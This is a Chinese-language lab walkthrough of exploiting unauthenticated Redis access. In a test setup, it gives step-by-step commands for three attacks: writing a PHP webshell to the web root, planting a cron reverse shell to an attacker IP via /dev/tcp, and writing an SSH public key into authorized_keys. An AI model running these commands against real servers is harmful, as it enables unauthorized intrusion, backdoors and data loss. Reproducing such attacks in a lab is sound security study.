Redis未授權訪問


漏洞原理

Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。

利用條件

  1. redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網
  2. 沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務

漏洞危害

  1. 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據
  2. 攻擊者可通過eval執行lua代碼,或通過數據備份功能往磁盤寫入后門文件
  3. 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器

漏洞復現

搭建測試環境

受害機Ubuntu 20.04

  1. 安裝php:sudo apt install php7.4-cli libapache2-mod-php
  2. 安裝apache2:sudo apt install apache2 。並啟動apache服務:sudo service apache2 start
  3. 安裝redis,環境需要4.x/5.x以下的redis版本,這里下載3.2版本的,並解壓、編譯:
    $ wget http://download.redis.io/releases/redis-3.2.11.tar.gz
    $ tar -zxvf redis-3.2.11.tar.gz
    $ cd redis-3.2.11
    $ make
    

如果make 時遇到以下報錯,需要安裝gcc,並設置啟動參數:
錯誤信息如下:
/bin/sh: cc: command not found
解決辦法,安裝gcc:
sudo apt install gcc
然后設置make啟動參數后即可運行:
make MALLOC=libc

  1. 編譯完成后,進入src目錄下,復制redis-cliredis-server/usr/bin/目錄下:
    $ cd src
    $ sudo cp redis-cli redis-server /usr/bin/
    
  2. 回到redis-3.2.11目錄中,復制redis.conf文件到/etc/目錄下:
    $ cd ..
    $ sudo cp redis.conf /etc/
    

使用sudo vim /etc/redis.conf 編輯配置文件,將61行的IP注釋起來,表示外網可訪問,如下:

然后將80行的yes改為no,表示關閉保護模式,如下:

然后保存退出。

  1. 使用redis-server /etc/redis.conf啟動redis服務:

  2. 打開一個新的終端,在窗口使用redis-cli 命令,測試能否正常連接redis:

  3. 使用quit退出redis命令行,然后在Ubuntu終端中開啟ssh服務,確保后面能使用ssh進行連接:

    $ sudo service ssh start
    

攻擊機Kali 2021.1

只要能連上redis即可,需要有redis-cli 命令,如果沒有redis,需要進行安裝:
bash $ sudo apt install redis-tools

利用redis寫入webshell

利用條件

  1. 服務器開着web服務
  2. redis有web目錄寫權限,可以往web路徑寫入文件

利用過程

  1. 測試使用Kali連接Ubuntu的redis服務:
    $ redis-cli -h 192.168.101.6
    

如果成功連接上受害機,說明受害機存在redis未授權訪問漏洞。

  1. redis可以寫入文件。使用config get dir 命令可以查看寫入文件的目錄,並且可以用來修改寫入文件的目錄。如下:

    因為web服務無法訪問到/home目錄下的內容,所以需要修改redis保存文件的路徑,將其修改到網站的根目錄下,也就是 默認的 /var/www/html 目錄。因此redis需要具有對/var/www/html 寫入的權限,使用config set dir /var/www/html 來修改dir的值:

  2. 然后使用redis寫入文件:

    $ config set dbfilename shell.php
    $ set xxx "<?php phpinfo(); ?>"
    $ save
    

然而並不能寫入文件,結果如下:

具體原因是因為redis對web根目錄沒有寫入權限,這是一個比較重要的點,也是能否利用未授權訪問來getshell的因素之一。為了測試,此時需要手動在受害機網站根目錄中,新建一個其他用戶具有可寫入權限的文件夾,然后再將redis保存文件的dir值修改為新建文件夾的路徑:


此時再次進行寫入,可以看到已經保存成功了:

  1. 成功寫入文件后可以在受害機中進行查看:

  2. 現在在瀏覽器中訪問這個頁面試試:

  3. 從上面的訪問結果可以看出我們寫入的php代碼已經成功執行並返回。再次寫入文件,將一句話木馬寫入到目錄中:

  4. 訪問webshell頁面:

  5. 使用蟻劍連接webshell:

利用redis反彈shell

原理:在攻擊機上開啟nc反彈端口監聽,通過redis未授權訪問漏洞,寫入Linux定時計划,反彈shell。

利用條件

  1. /var/spool/cron文件夾有寫入權限

利用過程

  1. 首先在攻擊機監聽一個端口:
    $ nc -lvnp 6666
    

  1. 在攻擊機開啟新的命令行窗口,連接受害機的redis服務,然后執行下面的命令:
    $ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n"
    $ config set dir /var/spool/cron/
    $ config set dbfilename root
    $ save
    

注意此處的計划任務命令,如果在Ubuntu中,是無法反彈shell的,原因是因為ubuntu會將redis寫入的緩存亂碼當作命令來解釋,導致執行不成功。而centos不會對亂碼進行解釋,可以成功執行反彈shell的命令。

  1. 可以在受害機查看文件是否保存成功:

但是在ubuntu下無法反彈shell,這是由於redis向任務計划文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計划,而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗,因為自己如果不使用redis寫任務計划文件,而是正常向/etc/cron.d目錄下寫任務計划文件的話,命令是可以正常執行的,所以還是亂碼的原因導致命令不能正常執行,而這個問題是不能解決的,因為利用redis未授權訪問寫的任務計划文件里都有亂碼,這些代碼來自redis的緩存數據。

利用redis寫入ssh公鑰

利用條件

  1. 受害機必須有~/.ssh文件夾,無論是普通用戶還是root用戶,否則無法在redis中設置dir的值

直接使用~/.ssh是不行的,需要絕對路徑。

  1. 另一個條件就是需要知道家目錄的名稱,比如上面的/home/unravel/.ssh,必須知道unravel

利用過程

  1. 首先在攻擊機生成ssh公鑰,用於連接受害機時來使用私鑰驗證登陸:
    $ ssh-keygen 
    

  1. 將公鑰開頭和結尾添加兩行換行,並存儲為新的文本文件,用於redis在連接時寫入的內容。添加兩個換行的原因是對redis緩存垃圾數據和公鑰的內容分隔開來,以免ssh連接失敗。可以使用bash命令來完成這個操作:
    (echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt
    

  1. 使用攻擊機連接受害機時寫入變量xx存儲攻擊機的公鑰:
    cat key.txt | redis-cli -h 192.168.101.6 -x set x
    

  1. 使用攻擊機連接受害機redis,將寫入的文件路徑設置為/home/unravel/.ssh,並設置保存的文件名稱為authorized_keys

注意authorized_keys名稱是固定的,不能隨便改,否則連接不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save

  1. 然后在受害機文件中查看一下:

  2. 在攻擊機嘗試使用本地私鑰對受害機進行連接:

    $ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa
    

總結

Redis在實戰中算是比較常用的端口利用了。除了反彈shell的方法在測試的時候沒有實現getshell以外,還有一種主從復制的方式,后面有空補上。
參考鏈接:https://paper.seebug.org/975/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM